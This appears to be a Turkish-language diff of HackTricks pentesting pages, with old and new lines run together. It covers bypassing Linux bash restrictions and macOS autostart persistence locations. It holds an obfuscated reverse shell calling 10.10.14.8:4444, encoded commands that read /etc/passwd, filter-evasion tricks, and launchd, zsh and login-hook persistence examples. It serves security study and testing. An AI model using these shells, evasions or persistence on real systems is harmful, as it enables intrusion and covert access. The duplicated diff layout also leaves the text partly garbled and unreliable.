<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **iş akışlarını otomatikleştirmenize** olanak tanıyan [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -30,7 +30,7 @@ Bugün Erişim Alın:
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h # echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
``` ```
### Kısa Rev shell ### Kısa Rev kabuk
```bash ```bash
#Trick from Dikline #Trick from Dikline
#Get a rev shell with #Get a rev shell with
@ -38,7 +38,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
#Then get the out of the rev shell executing inside of it: #Then get the out of the rev shell executing inside of it:
exec >&0 exec >&0
``` ```
### Yolları Atlayın ve yasaklı kelimeleri geçin ### Yolları Atlayın ve yasaklanan kelimeleri geçin
```bash ```bash
# Question mark binary substitution # Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping /usr/bin/p?ng # /usr/bin/ping
@ -131,7 +131,7 @@ uname!-1\-a # This equals to uname -a
cat ${HOME:0:1}etc${HOME:0:1}passwd cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
``` ```
### Boruları Atlayın ### Boruları Atla
```bash ```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
``` ```
@ -154,7 +154,13 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```bash ```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
``` ```
### Çevresel Değişkenlerden Karakterler Almak ### Ortam Değişkenlerinden Karakter Alma
```bash
$ echo ${!A*}
```
Bu komut, ortam değişkenlerinden karakterleri almak için kullanılır.
```bash ```bash
echo ${LS_COLORS:10:1} #; echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/ echo ${PATH:0:1} #/
@ -163,10 +169,10 @@ echo ${PATH:0:1} #/
Örneğin **burpcollab** veya [**pingb**](http://pingb.in) kullanabilirsiniz. Örneğin **burpcollab** veya [**pingb**](http://pingb.in) kullanabilirsiniz.
### Dahili Komutlar ### Yerleşik Fonksiyonlar
Dış işlevleri yürütemezsiniz ve yalnızca bir **sınırlı dahili komut kümesine erişiminiz varsa RCE elde etmek için bazı kullanışlı hileler vardır**. Genellikle **tüm dahili komutları kullanamayacaksınız**, bu yüzden hapishaneden kaçmak için tüm seçeneklerinizi bilmelisiniz. Fikir [**devploit**](https://twitter.com/devploit)'ten alınmıştır.\ Dış fonksiyonları yürütemediğiniz durumlarda ve yalnızca **sınırlı bir yerleşik fonksiyon kümesine erişiminiz varsa RCE elde etmek için**, bunu yapmanın bazı kullanışlı hileleri vardır. Genellikle **tüm yerleşikleri kullanamayacaksınız**, bu yüzden hapishaneden kaçmak için tüm seçeneklerinizi bilmelisiniz. Fikir [**devploit**](https://twitter.com/devploit)'ten alınmıştır.\
Öncelikle tüm [**kabuk dahili komutlarını**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)** kontrol edin**. Sonra işte size bazı **tavsiyeler**: Öncelikle tüm [**shell yerleşiklerini**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)** kontrol edin.** Sonra size bazı **tavsiyelerimiz** var:
```bash ```bash
# Get list of builtins # Get list of builtins
declare builtins declare builtins
@ -230,7 +236,7 @@ if [ "a" ]; then echo 1; fi # Will print hello!
``` ```
### Bashfuscator ### Bashfuscator
### Bashfuscator Bashfuscator, Bash kısıtlamalarını atlamak için kullanılan bir araçtır. Bu araç, Bash kodunu anlaşılması zor hale getirerek güvenlik önlemlerini atlamayı amaçlar. Bashfuscator, Bash betiklerini çalıştırmak için gerekli olan işlevselliği korurken, kodun okunabilirliğini azaltır. Bu sayede, güvenlik duvarları veya diğer kısıtlamaları atlamak için kullanılabilir.
```bash ```bash
# From https://github.com/Bashfuscator/Bashfuscator # From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd' ./bashfuscator -c 'cat /etc/passwd'
@ -338,24 +344,24 @@ Eğer **salt-okuma ve noexec korumaları** olan bir dosya sistemi içinde veya h
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) * [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/) * [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)'i kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan Kahraman'a kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -2,29 +2,29 @@
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'de **takip edin**. * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
Bu bölüm, [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/) blog serisine dayanmaktadır. Amacı, **daha fazla Otomatik Başlatma Konumu** eklemek (mümkünse), günümüzdeki macOS'ın en son sürümüyle (13.4) **hala çalışan teknikleri belirtmek** ve gerekli olan **izinleri** belirtmektir. Bu bölüm, [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/) blog serisine dayanmaktadır. Amacı, **Daha Fazla Otomatik Başlatma Konumu** eklemek (mümkünse), günümüzdeki macOS'ın en son sürümü (13.4) ile hala çalışan **hangi tekniklerin** olduğunu belirtmek ve gerekli olan **izinleri** belirtmektir.
## Kum Havuzu Atlatma ## Kum Havuzu Atlama
{% hint style="success" %} {% hint style="success" %}
Burada, **kum havuzu atlatma** için yararlı olan başlatma konumlarını bulabilirsiniz. Bu, bir şeyi **bir dosyaya yazarak** ve bir **çok yaygın eylem**, belirli bir **zaman miktarı** veya genellikle bir kum havuzundan **kök izinleri gerektirmeden** gerçekleştirebileceğiniz bir **eylem** için **bekleyerek** basitçe yürütmenize olanak tanır. Burada, **kum havuzu atlamaya** yararlı olan başlatma konumlarını bulabilirsiniz. Bu, bir dosyaya **yazarak** ve bir kum havuzu içinden genellikle **kök izinlere ihtiyaç duymadan** belirli bir **zaman** veya **genellikle gerçekleştirebileceğiniz bir eylem** için çok **ortak bir eylem** veya **belirli bir süre** bekleyerek basitçe bir şeyi **yürütmenize izin verir**.
{% endhint %} {% endhint %}
### Launchd ### Launchd
* Kum havuzu atlatma için kullanışlı: [](https://emojipedia.org/check-mark-button) * Kum havuzu atlaması için kullanışlı: [](https://emojipedia.org/check-mark-button)
* TCC Atlatma: [🔴](https://emojipedia.org/large-red-circle) * TCC Atlatma: [🔴](https://emojipedia.org/large-red-circle)
#### Konumlar #### Konumlar
@ -48,16 +48,16 @@ Burada, **kum havuzu atlatma** için yararlı olan başlatma konumlarını bulab
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
**`launchd`**, başlangıçta OX S çekirdeği tarafından yürütülen **ilk işlem** ve kapanırken sonuncusudur. Her zaman **PID 1**'e sahip olmalıdır. Bu işlem, **ASEP** **plistlerinde** belirtilen yapılandırmaları **okuyacak ve yürütecek**: **`launchd`**, başlangıçta OX S çekirdeği tarafından yürütülen **ilk işlem** ve kapanırken sonuncusudur. Her zaman **PID 1**'e sahip olmalıdır. Bu işlem, **ASEP** **plistlerinde** belirtilen yapılandırmaları **okuyacak ve yürütecektir**:
* `/Library/LaunchAgents`: Yönetici tarafından yüklenen kullanıcı başına ajanlar * `/Library/LaunchAgents`: Yönetici tarafından yüklenen kullanıcı başına ajanlar
* `/Library/LaunchDaemons`: Yönetici tarafından yüklenen sistem genelinde hizmetler * `/Library/LaunchDaemons`: Yönetici tarafından yüklenen sistem genelindeki daemonlar
* `/System/Library/LaunchAgents`: Apple tarafından sağlanan kullanıcı başına ajanlar. * `/System/Library/LaunchAgents`: Apple tarafından sağlanan kullanıcı başına ajanlar.
* `/System/Library/LaunchDaemons`: Apple tarafından sağlanan sistem genelinde hizmetler. * `/System/Library/LaunchDaemons`: Apple tarafından sağlanan sistem genelindeki daemonlar.
Bir kullanıcı oturum açtığında, `/Users/$USER/Library/LaunchAgents` ve `/Users/$USER/Library/LaunchDemons` konumlarındaki plist'ler **oturum açan kullanıcı izinleriyle** başlatılır. Bir kullanıcı oturum açtığında, `/Users/$USER/Library/LaunchAgents` ve `/Users/$USER/Library/LaunchDemons` konumlarındaki plist'ler, **oturum açan kullanıcı izinleriyle** başlatılır.
**Ajanlar ve hizmetler arasındaki temel fark, ajanların kullanıcı oturum açtığında yüklenmesi ve hizmetlerin sistem başlatıldığında yüklenmesidir** (çünkü ssh gibi hizmetlerin, herhangi bir kullanıcının sisteme erişmeden önce yürütülmesi gerekmektedir). Ayrıca ajanlar GUI kullanabilirken, hizmetler arka planda çalışmalıdır. **Ajanlar ve daemonlar arasındaki temel fark, ajanların kullanıcı oturum açtığında yüklenmesi ve daemonların sistem başlatıldığında yüklenmesidir** (çünkü ssh gibi hizmetlerin, herhangi bir kullanıcının sisteme erişmeden önce yürütülmesi gerektiği durumlar vardır). Ayrıca ajanlar GUI kullanabilirken, daemonlar arka planda çalışmalıdır.
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
@ -80,11 +80,11 @@ Bir kullanıcı oturum açtığında, `/Users/$USER/Library/LaunchAgents` ve `/U
</dict> </dict>
</plist> </plist>
``` ```
Bazı durumlarda, **kullanıcı oturum açmadan önce bir ajanın çalıştırılması gerekebilir**, bunlara **PreLoginAgents** denir. Örneğin, bu, oturum açılırken destekleyici teknoloji sağlamak için kullanışlıdır. Bunlar ayrıca `/Library/LaunchAgents` dizininde de bulunabilir (bir örnek için [**buraya**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) bakın). **Kullanıcı oturum açmadan önce bir ajanın çalıştırılması gereken durumlar** bulunmaktadır, bunlara **PreLoginAgents** denir. Örneğin, bu, oturum açılırken destekleyici teknoloji sağlamak için kullanışlıdır. Bunlar ayrıca `/Library/LaunchAgents` dizininde de bulunabilir (bir örnek için [**buraya**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) bakın).
{% hint style="info" %} {% hint style="info" %}
Yeni Daemon veya Ajan yapılandırma dosyaları, **bir sonraki yeniden başlatmadan sonra veya** `launchctl load <hedef.plist>` **kullanılarak yüklenecektir**. Ayrıca, `.plist` uzantısız dosyaları da `launchctl -F <dosya>` ile yüklemek mümkündür (ancak bu plist dosyaları otomatik olarak yeniden başlatmadan sonra yüklenmeyecektir).\ Yeni Daemon'lar veya Ajan'lar yapılandırma dosyaları **bir sonraki yeniden başlatmadan sonra veya** `launchctl load <hedef.plist>` **kullanılarak yüklenecektir**. Ayrıca, `.plist` uzantısız dosyaları da `launchctl -F <dosya>` ile yüklemek mümkündür (ancak bu plist dosyaları otomatik olarak yeniden başlatma sonrasında yüklenmeyecektir).\
`launchctl unload <hedef.plist>` ile **boşaltmak** da mümkündür (bu işaret ettiği işlem sonlandırılacaktır). `launchctl unload <hedef.plist>` ile **yüklemenin** de mümkün olduğuna dikkat edin (bu işaret ettiği işlem sonlandırılacaktır).
Bir **Ajanın** veya **Daemon'ın** **çalışmasını engelleyen** bir **geçersiz kılma** gibi **herhangi bir şeyin olmadığından emin olmak için** şunu çalıştırın: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist` Bir **Ajanın** veya **Daemon'ın** **çalışmasını engelleyen** bir **geçersiz kılma** gibi **herhangi bir şeyin olmadığından emin olmak için** şunu çalıştırın: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
{% endhint %} {% endhint %}
@ -94,7 +94,7 @@ Mevcut kullanıcı tarafından yüklenen tüm ajanları ve daemonları listele:
launchctl list launchctl list
``` ```
{% hint style="warning" %} {% hint style="warning" %}
Eğer bir plist dosyası bir kullanıcıya aitse, hatta daemon sistem genelindeki klasörlerde olsa bile, **görev kullanıcı olarak** ve kök olarak değil yürütülecektir. Bu bazı ayrıcalık yükseltme saldırılarını önleyebilir. Eğer bir plist dosyası bir kullanıcıya aitse, hatta daemon sistem genelindeki klasörlerde olsa bile, **görev kullanıcı olarak** ve kök olarak değil yürütülecektir. Bu bazı ayrıcalık yükseltme saldırılarını engelleyebilir.
{% endhint %} {% endhint %}
### kabuk başlangıç dosyaları ### kabuk başlangıç dosyaları
@ -114,9 +114,9 @@ Açıklama (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://
* **Tetikleyici**: zsh ile bir terminal aç * **Tetikleyici**: zsh ile bir terminal aç
* Kök gereklidir * Kök gereklidir
* **`~/.zlogout`** * **`~/.zlogout`**
* **Tetikleyici**: zsh ile bir terminali kapat * **Tetikleyici**: zsh ile bir terminalden çık
* **`/etc/zlogout`** * **`/etc/zlogout`**
* **Tetikleyici**: zsh ile bir terminali kapat * **Tetikleyici**: zsh ile bir terminalden çık
* Kök gereklidir * Kök gereklidir
* Muhtemelen daha fazlası: **`man zsh`** * Muhtemelen daha fazlası: **`man zsh`**
* **`~/.bashrc`** * **`~/.bashrc`**
@ -128,7 +128,7 @@ Açıklama (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
`zsh` veya `bash` gibi bir kabuk ortamı başlatıldığında, **belirli başlangıç dosyaları çalıştırılır**. macOS şu anda varsayılan kabuk olarak `/bin/zsh` kullanmaktadır. Bu kabuk, Terminal uygulaması başlatıldığında veya bir cihaz SSH ile erişildiğinde otomatik olarak erişilir. macOS'ta ayrıca `bash` ve `sh` de bulunmaktadır, ancak kullanılmak için açıkça çağrılması gerekmektedir. `zsh` veya `bash` gibi bir kabuk ortamı başlatıldığında, **belirli başlangıç dosyaları çalıştırılır**. macOS şu anda varsayılan kabuk olarak `/bin/zsh` kullanmaktadır. Bu kabuk, Terminal uygulaması başlatıldığında veya bir cihaz SSH ile erişildiğinde otomatik olarak erişilir. `bash` ve `sh` de macOS'ta bulunmasına rağmen, kullanılmak için açıkça çağrılması gerekir.
`man zsh` ile okuyabileceğimiz zsh'in man sayfası, başlangıç dosyalarının uzun bir açıklamasına sahiptir. `man zsh` ile okuyabileceğimiz zsh'in man sayfası, başlangıç dosyalarının uzun bir açıklamasına sahiptir.
```bash ```bash
@ -138,7 +138,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
### Yeniden Açılan Uygulamalar ### Yeniden Açılan Uygulamalar
{% hint style="danger" %} {% hint style="danger" %}
Belirtilen açığı yapılandırmak ve oturumu kapatıp açmak veya hatta yeniden başlatmak, uygulamayı çalıştırmam için işe yaramadı. (Uygulama çalıştırılmıyordu, belki bu eylemler gerçekleştirilirken uygulamanın çalışıyor olması gerekiyor) Belirtilen açığı yapılandırmak ve oturumu kapatıp açmak veya hatta yeniden başlatmak, uygulamayı çalıştırmam için işe yaramadı. (Uygulama çalıştırılmıyordu, belki de bu işlemler yapılırken uygulamanın çalışıyor olması gerekiyor)
{% endhint %} {% endhint %}
**Açıklama**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/) **Açıklama**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
@ -153,9 +153,9 @@ Belirtilen açığı yapılandırmak ve oturumu kapatıp açmak veya hatta yenid
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
Yeniden açılacak tüm uygulamalar, `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist` plist dosyasının içindedir. Yeniden açılacak tüm uygulamalar, `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist` içinde bulunmaktadır.
Bu nedenle, yeniden açılacak uygulamalar arasına kendi uygulamanızı eklemek için **uygulamanızı listeye eklemeniz yeterlidir**. Bu nedenle, yeniden açılacak uygulamalar arasına kendi uygulamanızı eklemek için sadece **uygulamanızı listeye eklemeniz yeterlidir**.
UUID, bu dizini listelerken veya `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` komutu ile bulunabilir. UUID, bu dizini listelerken veya `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` komutu ile bulunabilir.
@ -238,7 +238,7 @@ Bunu terminalden şu şekilde ekleyebilirsiniz:
#### Açıklama ve Sömürü #### Açıklama ve Sömürü
Eğer bir [**`.terminal`** betiği](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) oluşturursanız ve açarsanız, **Terminal uygulaması** otomatik olarak ılacak ve içinde belirtilen komutları çalıştırmak için çağrılacaktır. Eğer Terminal uygulamasının özel izinleri varsa (örneğin TCC gibi), komutunuz bu özel izinlerle çalıştırılacaktır. Eğer bir [**`.terminal`** betiği](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) oluşturursanız ve açarsanız, **Terminal uygulaması** otomatik olarak çağrılacak ve içinde belirtilen komutları yürütmek için kullanılacaktır. Eğer Terminal uygulamasının özel izinleri varsa (örneğin TCC gibi), komutunuz bu özel izinlerle çalıştırılacaktır.
Denemek için: Denemek için:
```bash ```bash
@ -275,20 +275,20 @@ Açıklama: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https
* Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button) * Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button)
* TCC atlatma: [🟠](https://emojipedia.org/large-orange-circle) * TCC atlatma: [🟠](https://emojipedia.org/large-orange-circle)
* Ek TCC erişimi alabilirsiniz * Bazı ek TCC erişimine sahip olabilirsiniz
#### Konum #### Konum
* **`/Library/Audio/Plug-Ins/HAL`** * **`/Library/Audio/Plug-Ins/HAL`**
* Root gereklidir * Kök erişimi gereklidir
* **Tetik**: coreaudiod veya bilgisayar yeniden başlatılmalıdır * **Tetik**: coreaudiod veya bilgisayar yeniden başlatılmalıdır
* **`/Library/Audio/Plug-ins/Components`** * **`/Library/Audio/Plug-ins/Components`**
* Root gereklidir * Kök erişimi gereklidir
* **Tetik**: coreaudiod veya bilgisayar yeniden başlatılmalıdır * **Tetik**: coreaudiod veya bilgisayar yeniden başlatılmalıdır
* **`~/Library/Audio/Plug-ins/Components`** * **`~/Library/Audio/Plug-ins/Components`**
* **Tetik**: coreaudiod veya bilgisayar yeniden başlatılmalıdır * **Tetik**: coreaudiod veya bilgisayar yeniden başlatılmalıdır
* **`/System/Library/Components`** * **`/System/Library/Components`**
* Root gereklidir * Kök erişimi gereklidir
* **Tetik**: coreaudiod veya bilgisayar yeniden başlatılmalıdır * **Tetik**: coreaudiod veya bilgisayar yeniden başlatılmalıdır
#### Açıklama #### Açıklama
@ -301,7 +301,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilb
* Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button) * Kum havuzunu atlamak için kullanışlı: [](https://emojipedia.org/check-mark-button)
* TCC atlatma: [🟠](https://emojipedia.org/large-orange-circle) * TCC atlatma: [🟠](https://emojipedia.org/large-orange-circle)
* Ek TCC erişimi alabilirsiniz * Bazı ek TCC erişimine sahip olabilirsiniz
#### Konum #### Konum
@ -315,7 +315,7 @@ Açıklama: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilb
QuickLook eklentileri, bir dosyanın önizlemesini **tetiklediğinizde** (Finder'da dosya seçiliyken boşluk çubuğuna basın) ve **o dosya türünü destekleyen bir eklenti** yüklü olduğunda çalıştırılabilir. QuickLook eklentileri, bir dosyanın önizlemesini **tetiklediğinizde** (Finder'da dosya seçiliyken boşluk çubuğuna basın) ve **o dosya türünü destekleyen bir eklenti** yüklü olduğunda çalıştırılabilir.
Kendi QuickLook eklentinizi derleyip, onu yüklemek için önceki konumlardan birine yerleştirebilir ve ardından desteklenen bir dosyaya gidip tetiklemek için boşluk tuşuna basabilirsiniz. Kendi QuickLook eklentinizi derleyip, bunu önceki konumlardan birine yerleştirerek yükleyebilir ve ardından desteklenen bir dosyaya gidip tetiklemek için boşluk tuşuna basabilirsiniz.
### ~~Giriş/Çıkış Kancaları~~ ### ~~Giriş/Çıkış Kancaları~~
@ -331,7 +331,7 @@ Bu benim için çalışmadı, ne kullanıcı GirişKancası ne de kök Çıkış
#### Konum #### Konum
* `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` gibi bir şeyi yürütebilmelisiniz * `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` gibi bir şeyi yürütebilmelisiniz
* `~/Library/Preferences/com.apple.loginwindow.plist` içinde bulunur * `~/Library/Preferences/com.apple.loginwindow.plist` konumunda bulunur
Eskimiş olsalar da, bir kullanıcı oturum açtığında komutları yürütmek için kullanılabilirler. Eskimiş olsalar da, bir kullanıcı oturum açtığında komutları yürütmek için kullanılabilirler.
```bash ```bash
@ -360,12 +360,12 @@ Silmek için:
defaults delete com.apple.loginwindow LoginHook defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook defaults delete com.apple.loginwindow LogoutHook
``` ```
Root kullanıcısı **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** içinde saklanır. Root kullanıcısı **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** dosyasında saklanır.
## Koşullu Kum Sandığı Atlatma ## Koşullu Kum Sandığı Atlatma
{% hint style="success" %} {% hint style="success" %}
Burada, **kum sandığı atlatma** için yararlı olan başlangıç konumlarını bulabilirsiniz, bu da size basitçe bir şeyi **bir dosyaya yazarak** ve belirli **programlar yüklü, "sıradışı" kullanıcı** eylemleri veya ortamlar gibi belirli **yaygın olmayan koşulların** olmasını beklemek anlamına gelir. Burada, **kum sandığı atlatma** için yararlı olan başlangıç konumlarını bulabilirsiniz, bu da size bir şeyi **bir dosyaya yazarak** ve belirli **programlar yüklü, "sıradışı" kullanıcı** eylemleri veya ortamları gibi belirli **olağandışı koşulların olmadığını bekleyerek** basitçe yürütmenizi sağlar.
{% endhint %} {% endhint %}
### Cron ### Cron
